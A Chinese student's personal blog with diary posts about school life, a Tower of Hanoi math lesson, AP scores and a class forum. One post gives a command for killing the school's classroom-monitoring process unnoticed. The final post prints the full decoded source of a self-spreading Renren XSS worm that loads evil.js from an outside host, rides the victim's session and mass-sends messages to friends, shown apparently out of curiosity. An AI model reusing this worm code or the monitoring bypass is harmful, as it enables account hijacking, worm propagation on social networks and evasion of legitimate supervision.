话说今天9月15号,星期二,我的囧且强悍的一天!

故事从3点55放自习课开始

我下了自习课由于运动会报名的事缠身,所以等到了4点多一点才从教室出来

然后便开始寻找传说中高二“数学-问题解决”选修课的教室

(由于昨天我查的时候那上课地点还是待定,而且我也忘了我的学籍号了)

从教室到班主任办公室到教务处,我上楼下楼,教学楼综合楼来回跑,最终在教务处老师的指引下来到了综合楼四层。

听老师说是四层的一个大教室,我一上楼就发现那右手边硕大的阶梯教室,就进去了。

说来也真巧,我进去后老师已经点完一班的人名了。

等到老师点完名字我起来一问,发现貌似我进错教室了!(- -#|囧)

同学们提示我那“数学-问题解决”是在合班教室,而且是高二的课

(其实这我也知道,当时报完以后才发现是高二的课,一天以后再看已经被批准了,[再囧个])

于是我拿起书包从阶梯教室出来,出门后发现那走廊左手边的就是合班教室。

“报告!”,我推开门。

“这是高二的课”,老师看着我说。

我也看着老师,“请问这是数学的问题解决吗?”

老师答到:“是”。

我报这课了,也被批准了。”

—只听班里全体一片哗然……

老师愣了一下说“那就先找个空位置坐下吧。”

老师先讲解了数学建模的重要,和关于建模的各种竞赛。

然后给了我们一个关于“佛教中所称的世界毁灭”问题,其实简单的说就是,

有三根棍子,第一个上有64个金片,且按从小到大从上往下排列。每次只允许移动一片,且大的不能在小的上面。

佛教中说,当所有金片都按顺序移到另一个棍上世界就毁灭了。

所以说就是求这样的移动64个金片的步数。

正确答案是需要 2^64-1 次移动。

正确的思路,建立一个数列,第N项表示有N个片时需要的步骤。

要移动N块,可以先用最简A方法把N-1块移到其第2更棍上(方法先不考虑),然后将最后一个放到第三个上,再用同样的A方法把N-1块移动到最大的那个上面。

这样就出现了相邻两项的关系是 a[n] = 2*a[n-1] + 1

左右都+1得, a[n] + 1 = 2*(a[n-1]+1)

这样就找到了关于a[n]+1的等比数列的k,为k=2

所以 a[n] + 1 = 2^n

即 a[n] = 2^n – 1

假设移动一次为1秒,计可知,2^64-1次移动需要的时间比太阳的寿命还要成,所以不成立。

这节课我确实学到了些知识,比高一数学好多了,呵呵。

然后老师又不知了两个题。

1. 某书店发行优惠卷,用一张优惠卷可购买一套书籍甲,两张优惠卷可以购买另两套书籍乙、丙中的一套,若有n张优惠卷,去购买上述三种书籍,共有多少种不同的方法?

2. 空间内n个平面,其中任何两个平面都不平行,任何三个平面都不经过一条直线,任何四个不过同一点,问这n个平面把空间分成了多少份?

今天先不处理这两个题了,其他作业还很多。不过今天发生的跟囧更强悍的还在下面:

我从校门出来,去做489公共汽车,据车站50多米时发现,489车已经快关上门要开走了。(那里是一个丁字路口,我拐过来就才看到车)

于是我突发奇想–追车!


查看大图

其实也是因为下一站比较近,我觉得要是跑快点也许能赶上呢。而且489车少,错过了就等吧,且等呢!

于是我穿着厚重的秋季校服,脚穿着不适合跑步的半篮球鞋,背着沉重的书包,开始向下一站奔去

结果又差了50米左右没有追上,于是我开始郁闷的想着要开始打车

但是我突然想起来489车要绕一个环岛过三环,我可以走过街天桥。

于是我又飞奔了出去!到了三环内最近的一个489站,居然发现没有车的踪影!

等了一分钟终于看到了那辆被我追了四站还超了一分钟的489!

我今天NB了!

不过这样跑的副作用很大,因为北京的空气很不好,我从上车就开始狂流鼻涕+狂想大喷嚏,回家来以后居然一点都没有减!

到现在了已经流了2个多小时了,打了N个喷嚏!……

要不是北京空气这么不好,我就以后跟489后面跑回来了(前提找人帮我拿包)。哈哈!

总之今天是一个很囧且强悍的一天!!哈哈,还有作业要写呢!奋斗去了!

呵呵,上计算机第一天就发现可恶的老师在计算机房所有的计算机上都装有远程控制教学软件,(就是强制你的屏幕变成老师的)。第一天郁闷以后就开始着手解决这个烦人的问题,打开任务管理器发现有一个很可疑的进程叫StudentMain.exe(顾名思义啊),在任务管理器里还结束不了。经过简单的研究,终于发现了解决方法(其实很简单):

单击开始,运行,输入CMD,之后再命令行里输入以下代码即可

ntsd -c q -pn StudentMain.exe

原理其实就是用系统的Debug程序来杀这个“邪恶”的进程,Google一下就会有详细的说明了。

其实有方法直接禁止这程序启动,但是这样就会很容易被老师发现了,呵呵。

这两天用效果很不错,大家会用了不要张扬~谢谢合作

终于拿到5月份考的AP微积分和AP生物的成绩了:

AP微积分 —- 5

AP生物 —- 1

正如我所料微积分拿到了满分。但是生物只有1分,呵呵,只有大学再学一遍了。但是最令我惊讶的是(引自原高中AP老师给我发的一封邮件),

You have received the first 5 and highest ever at Bryan in Calculus.

呵呵,我居然是这所学校第一个微积分拿满分的人!其实只因为是公立学校。

11:36PM

开学四天

1 Comment, Diaries, by Wei.

开学已经四天了,在这四天中我找到了曾经初三的感觉。还算比较顺利,呵呵。

英语方面,学校教的英语还是那么死板,老掉牙。很招人烦(没有对老师的意思,中国英语教学貌似都一模样)。

一个很简单的常识,Participate的名词,Participant我觉得很常见,但老师非说Participator,Google之,Participant 结果近3100万,而Participator只有17万。简直T-M天壤之别!

话说回来我的口语也不像以前那么好了,这两年努力保持吧!

理科方面,觉得以前的做题感觉在一点一点被我找回。

开学前想着自己的服务器资源和域名闲着也是闲着,就做了个论坛给班里用。

突然发现DZ7其实不可只以貌相,功能还是蛮强大的,还是有挺多Ajax的。

今天大家都发现自己莫名其妙的收到了很多Wish You Were Here @ 2016的站内信。

根据这篇日志 http://blog.renren.com/GetEntry.do?id=413070706&owner=265190042&ref=minifeed 中的代码。其原理就是通过swf运行一段恶意js代码从而获取用户cookie,再向校内服务器发送发送站内信请求从而传播。

一下为解出的swf

    var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://n.99081.com/xnxss1/evil.js\"; x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
    flash.external.ExternalInterface.call("eval", fun);
 
    loadMovie ("http://www.tudou.com/player/outside/player_outside.swf?iid=4120048&default_skin=http://js.tudouui.com/bin/player2/outside/Skin_outside_13.swf&autostart=false&rurl=", this);

以下为调用的js代码

// I'm not a malicious worm.^^;
var evil_js = "http://n.99081.com/xnxss1/evil.js";
var evil_swf = "http://o.99081.com/xnxss/1.swf";
function new_xhr(){
	var request = false;
		try {
			request = new XMLHttpRequest();
		} catch (trymicrosoft) {
			try {
				request = new ActiveXObject("Msxml2.XMLHTTP");
			} catch (othermicrosoft) {
				try {
					request = new ActiveXObject("Microsoft.XMLHTTP");
				} catch (failed) {
					request = false;
				}  
			}
	   }
	return request;
}
function ltrim(s){ 
	return s.replace( /^\s*/, ""); 
} 
function getMyCookies(){
	var myCookies = document.cookie;
	myCookies = myCookies.split(";")
	for(i = 0; i < myCookies.length; i++){
		if(myCookies[i].indexOf("xssdata=")!=-1){
			break;
		}
	}
	if(i<myCookies.length){
		return ltrim(myCookies[i]).substring(8);
	}else{
		return "null";
	}
}
function creatIframe(domain){
	document.getElementById("logo2").innerHTML='<H1><IMG height=35 src="http://s.xnimg.cn/imgpro/logo/logo-renren-120.png" width=120></H1><iframe name="2016" id="2016" onload="inject()" src="http://'+domain+'.renren.com/ajaxProxy.html?ver=2" width=1 height=1 style="display:none;"></iframe>';
}
function inject(){
	var x = document.frames("2016").document.createElement("SCRIPT");
	x.src = evil_js; 
	x.defer = true;
	document.frames("2016").document.getElementsByTagName("HEAD")[0].appendChild(x);
}
function xhr_send(method,url,data,callback){
	request=new_xhr();
	if (!method){
		method="get";
	}
	request.open(method,url,true);
	if (method=="post"){
		request.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	}
	eval("request.onreadystatechange = "+callback);
	request.send(data);
}
function get_tsc() {
	if (request.readyState == 4){
		var tsc_res = request.responseText;
		var tsc_s = tsc_res.indexOf('id="tsc_popShare"')+25;
		var tsc_e = tsc_s+32;
		tsc = tsc_res.substring(tsc_s,tsc_e);
		document.cookie = "xssdata=|"+tsc+"|"+getMyCookies()+";domain=.renren.com"+";expires=Sat, 25 Sep 2010 16:00:00 UTC;path=/";
		parent.creatIframe("share");
	}
}
function get_userid(){
	if(request.readyState == 4){
		var uid_res = request.responseText;
		uid_res = uid_res.replace(/"/g, "");
		uid_res = uid_res.split("id:");
		var uid_arr = new Array(); 
		for(i = 1; i < uid_res.length; i++){
			uid_arr.push('"'+uid_res[i].substring(0,9)+'"');
		}		
		uid_arr=uid_arr.toString();
		document.cookie = "xssdata=["+uid_arr+"];domain=.renren.com;expires=Sat, 25 Sep 2010 16:00:00 UTC;path=/";
		parent.creatIframe("share");
	}
}
function preSend(){
	if(request.readyState == 4){
		document.cookie = "xssdata=friend;domain=.renren.com;expires=Sat, 25 Sep 2010 16:00:00 UTC;path=/";
		parent.creatIframe("home");
	}
}
function count(){
	if(request.readyState == 4){
		document.cookie = "xssdata=infected;domain=.renren.com;expires=Sat, 25 Sep 2010 16:00:00 UTC;path=/";
		var a = new Image();
		a.src="http://img.tongji.linezing.com/1269734/tongji.gif";
	}
}
function noComment(){
	var thread = document.getElementById("thread");
	if(thread){
		thread.value =0;
	}
}
switch(getMyCookies().charAt(0))
	{
	case "n":
		noComment();
		document.cookie = "xssdata=add;domain=.renren.com;expires=Sat, 25 Sep 2010 16:00:00 UTC;path=/";
		creatIframe("share");
		break;
	case "a":
		xhr_send("get","http://share.renren.com/share/buttonshare.do?link=http://g.cn&title=2016",null,"get_tsc");
		break;
	case "f":
		var url ='http://home.renren.com/friendsSelector.do?p={"init":false,"qkey":"friend","uid":true,"uname":false,"uhead":false,"limit":50,"param":{},"query":"","group":"","net":""}';
		xhr_send("get",url,null,"get_userid");
		break
	case "[":
		xhr_send("get","http://share.renren.com/share/buttonshare.do?link=http://g.cn&title=2016",null,"get_tsc");
		break;
	case "|":
		var temp = getMyCookies().split("|");
		tsc = temp[1];
		var xhr_ids = temp[2];	
		if(xhr_ids.charAt(0)=="a"){
			var data = 'post={"filter":null,"reduceRight":null,"reduce":null,"some":null,"every":null,"forEach":null,"map":null,"link":"http://www.tudou.com/programs/view/PgquuM_LGMs/","type":"10","title":"Pink Floyd - Wish You Were Here","pic":"http://image8.tudou.com/data/imgs/i/004/120/048/m25.jpg","fromno":"0","fromShareId":"0","fromShareOwner":"0","fromname":"1.3333333333333333","fromuniv":"","albumid":"0","largeurl":"","sendcomment":"on","action":"add","auth":"99","body":"Wish You Were Here @ 2016.","summary":"'+evil_swf+'","noteId":0}';
			data += '&tsc=';
			data += tsc;
			xhr_send("post","http://share.renren.com/share/submit.do",data,"preSend");
		}else{
			var data = "post=";
			data += '{"action":"sharetofriend","ids":'+xhr_ids+',"form":{"link":"http://www.tudou.com/programs/view/PgquuM_LGMs/","type":"10","title":"Pink Floyd - Wish You Were Here","pic":"http://image8.tudou.com/data/imgs/i/004/120/048/m25.jpg","fromno":"0","fromShareId":"0","fromShareOwner":"0","fromname":"1.3333333333333333","fromuniv":"","albumid":"0","largeurl":"","summary":"'+evil_swf+'"},"body":"Wish You Were Here @ 2016.","subject":"Wish You Were Here","noteId":0}';
			data += '&tsc=';
			data += tsc;
			xhr_send("post","http://share.renren.com/share/submit.do",data,"count");
		}
		break;
	default:
		noComment();
		break;
}

不过还好只是对支持ActiveX的IE有用。

研究代码ing..先膜拜一下